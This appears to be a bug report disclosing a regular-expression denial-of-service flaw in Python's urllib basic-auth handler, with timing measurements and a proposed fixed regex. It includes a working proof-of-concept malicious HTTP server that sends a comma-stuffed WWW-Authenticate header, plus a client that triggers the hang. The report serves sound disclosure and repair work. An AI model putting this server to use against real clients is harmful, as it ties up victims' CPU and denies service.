The regular expression urllib.request.AbstractBasicAuthHandler.rx is vulnerable to malicious inputs which cause denial of service (REDoS).The regex is: rx = re.compile('(?:.*,)*[ \t]*([^ \t]+)[ \t]+' 'realm=(["\']?)([^"\']*)\\2', re.I)The first line can act like: (,*,)*(,+)[ \t]Showing that there are many different ways to match a long sequence of commas.Input from the WWW-Authenticate or Proxy-Authenticate headers of HTTP responses will reach the regex via the http_error_auth_reqed method as long as the header value starts with "basic ".We can craft a malicious input: urllib.request.AbstractBasicAuthHandler.rx.search( "basic " + ("," * 100) + "A" )Which causes catastrophic backtracking and takes a large amount of CPU time to process.I tested the length of time (seconds) to complete for different numbers of commas in the string:18 0.28919 0.5720 1.1421 2.2922 4.5523 9.1724 18.325 36.526 75.127 167Showing an exponential relationship O(2^x) !The maximum length of comma string that can fit in a response header is 65509, which would take my computer just 6E+19706 years to complete.Example malicious server: from http.server import BaseHTTPRequestHandler, HTTPServer def make_basic_auth(n_commas): commas = "," * n_commas return f"basic {commas}A" class Handler(BaseHTTPRequestHandler): def do_GET(self): self.send_response(401) n_commas = ( int(self.path[1:]) if len(self.path) > 1 else 65509 ) value = make_basic_auth(n_commas) self.send_header("www-authenticate", value) self.end_headers() if __name__ == "__main__": HTTPServer(("", 44020), Handler).serve_forever()Vulnerable client: import urllib.request opener = urllib.request.build_opener(urllib.request.HTTPBasicAuthHandler()) opener.open("http://localhost:44020/")As such, python applications using urllib.request may need to be careful not to visit malicious servers.I think the regex can be replaced with: rx = re.compile('basic[ \t]+realm=(["\']?)([^"\']*)\\2', re.I)- Ben |
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